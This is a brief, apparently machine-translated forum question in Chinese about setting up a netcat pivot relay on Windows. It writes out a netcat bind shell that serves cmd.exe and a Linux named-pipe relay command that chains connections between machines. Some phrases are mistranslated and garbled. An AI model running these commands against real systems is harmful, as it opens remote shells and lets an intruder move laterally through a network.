在 Windows 中设置中继

在 Windows 中设置中继

我正在尝试在 Windows 上使用 netcat 设置一个枢轴中继,复制在 Linux 中使用管道轻松实现的场景。

假设机器 A 可以路由到机器 B,而机器 B 可以路由到机器 C。如果机器 A 需要路由到机器 C,我们可以在机器 B 上设置一个中继,它可以使用命令重定向器和 spl 文件类型管道为我们来回传送数据。

认为:

  • 机器 C 有nc -nlvp 3306 -e cmd.exe
  • 机器 A 有nc -nlvp 80

如果机器 B 是 Linux,我们可以这样做

mkfifo pipe
nc -nv 127.0.0.1 80 0<pipe | nc -nv 127.0.0.1 3306 1>pipe

因此在机器 B 上如果我们

nc -nv 127.0.0.1 80 0<&4 | nc -nv 127.0.0.1 3306 1>&4

本网站,我应该能够用Linux实现我能做的事情,但不幸的是它不起作用。

相关内容